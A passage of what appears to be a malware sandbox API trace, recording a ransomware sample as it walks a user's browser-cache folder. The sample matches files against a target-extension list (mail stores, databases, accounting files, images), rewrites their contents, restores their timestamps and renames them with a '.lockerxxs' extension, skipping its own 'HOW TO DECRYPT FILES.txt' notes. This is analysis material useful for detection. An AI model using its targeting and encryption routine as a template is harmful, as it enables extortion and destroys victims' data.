Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg." [0084.514] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg.lockerxxs" [0084.514] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegjfz[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.515] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x819 [0084.515] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45ab8030, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45ab8030, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45ab8030, dwHighDateTime=0x1d2faf3)) returned 1 [0084.515] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.515] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7f3, lpOverlapped=0x0) returned 1 [0084.517] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg") returned="BBEgJfz[1].jpg" [0084.517] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.517] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7f3, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7f3, lpOverlapped=0x0) returned 1 [0084.517] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.517] CloseHandle (hObject=0xa4) returned 1 [0084.517] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegjfz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegjfz[1].jpg.lockerxxs")) returned 1 [0084.518] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b2a450, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b2a450, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45b2a450, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x916, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEgsWA[1].jpg", cAlternateFileName="BBEGSW~1.JPG")) returned 1 [0084.518] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.518] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEgsWA[1].jpg") returned 1 [0084.518] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEgsWA[1].jpg") returned 1 [0084.518] lstrcmpiA (lpString1="", lpString2="BBEgsWA[1].jpg") returned -1 [0084.518] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg") returned="BBEgJfz[1].jpg" [0084.518] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.519] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.519] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.519] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.519] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEgsWA[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg" [0084.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.ems") returned 0 [0084.519] lstrlenA (lpString="*.ems") returned 5 [0084.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.db") returned 0 [0084.519] lstrlenA (lpString="*.db") returned 4 [0084.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.dbf") returned 0 [0084.519] lstrlenA (lpString="*.dbf") returned 5 [0084.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.myox") returned 0 [0084.519] lstrlenA (lpString="*.myox") returned 6 [0084.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.myo") returned 0 [0084.519] lstrlenA (lpString="*.myo") returned 5 [0084.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.qbw") returned 0 [0084.519] lstrlenA (lpString="*.qbw") returned 5 [0084.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.qbb") returned 0 [0084.519] lstrlenA (lpString="*.qbb") returned 5 [0084.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.qbm") returned 0 [0084.519] lstrlenA (lpString="*.qbm") returned 5 [0084.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.qbo") returned 0 [0084.519] lstrlenA (lpString="*.qbo") returned 5 [0084.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.qbx") returned 0 [0084.519] lstrlenA (lpString="*.qbx") returned 5 [0084.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.qba") returned 0 [0084.520] lstrlenA (lpString="*.qba") returned 5 [0084.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.qby") returned 0 [0084.520] lstrlenA (lpString="*.qby") returned 5 [0084.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.qbj") returned 0 [0084.520] lstrlenA (lpString="*.qbj") returned 5 [0084.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.ofx") returned 0 [0084.520] lstrlenA (lpString="*.ofx") returned 5 [0084.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.qif") returned 0 [0084.520] lstrlenA (lpString="*.qif") returned 5 [0084.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.mye") returned 0 [0084.520] lstrlenA (lpString="*.mye") returned 5 [0084.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.mbox") returned 0 [0084.520] lstrlenA (lpString="*.mbox") returned 6 [0084.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.eml") returned 0 [0084.520] lstrlenA (lpString="*.eml") returned 5 [0084.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.pst") returned 0 [0084.520] lstrlenA (lpString="*.pst") returned 5 [0084.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.ost") returned 0 [0084.520] lstrlenA (lpString="*.ost") returned 5 [0084.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.idx") returned 0 [0084.520] lstrlenA (lpString="*.idx") returned 5 [0084.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.dbx") returned 0 [0084.520] lstrlenA (lpString="*.dbx") returned 5 [0084.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.sql") returned 0 [0084.520] lstrlenA (lpString="*.sql") returned 5 [0084.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.mdb") returned 0 [0084.521] lstrlenA (lpString="*.mdb") returned 5 [0084.521] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.fdb") returned 0 [0084.521] lstrlenA (lpString="*.fdb") returned 5 [0084.521] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.wab") returned 0 [0084.521] lstrlenA (lpString="*.wab") returned 5 [0084.521] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.dat") returned 0 [0084.521] lstrlenA (lpString="*.dat") returned 5 [0084.521] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.txt") returned 0 [0084.521] lstrlenA (lpString="*.txt") returned 5 [0084.521] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.jpeg") returned 0 [0084.521] lstrlenA (lpString="*.jpeg") returned 6 [0084.521] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", pszSpec="*.jpg") returned 1 [0084.521] lstrlenA (lpString="*.jpg") returned 5 [0084.521] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg" [0084.521] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg" [0084.521] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg." [0084.521] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg.lockerxxs" [0084.521] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegswa[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.522] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x916 [0084.522] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45b2a450, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45b2a450, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45b2a450, dwHighDateTime=0x1d2faf3)) returned 1 [0084.522] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.522] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x8f0, lpOverlapped=0x0) returned 1 [0084.524] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg") returned="BBEgsWA[1].jpg" [0084.524] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.524] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x8f0, lpOverlapped=0x0) returned 1 [0084.524] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.524] CloseHandle (hObject=0xa4) returned 1 [0084.524] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegswa[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegswa[1].jpg.lockerxxs")) returned 1 [0084.525] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45725f30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45725f30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45725f30, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x918, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEgX5G[1].jpg", cAlternateFileName="BBEGX5~1.JPG")) returned 1 [0084.525] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.525] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEgX5G[1].jpg") returned 1 [0084.525] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEgX5G[1].jpg") returned 1 [0084.525] lstrcmpiA (lpString1="", lpString2="BBEgX5G[1].jpg") returned -1 [0084.525] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg") returned="BBEgsWA[1].jpg" [0084.525] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.525] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.526] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.526] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.526] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEgX5G[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg" [0084.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.ems") returned 0 [0084.526] lstrlenA (lpString="*.ems") returned 5 [0084.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.db") returned 0 [0084.526] lstrlenA (lpString="*.db") returned 4 [0084.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.dbf") returned 0 [0084.526] lstrlenA (lpString="*.dbf") returned 5 [0084.526] PathMatchSpecA 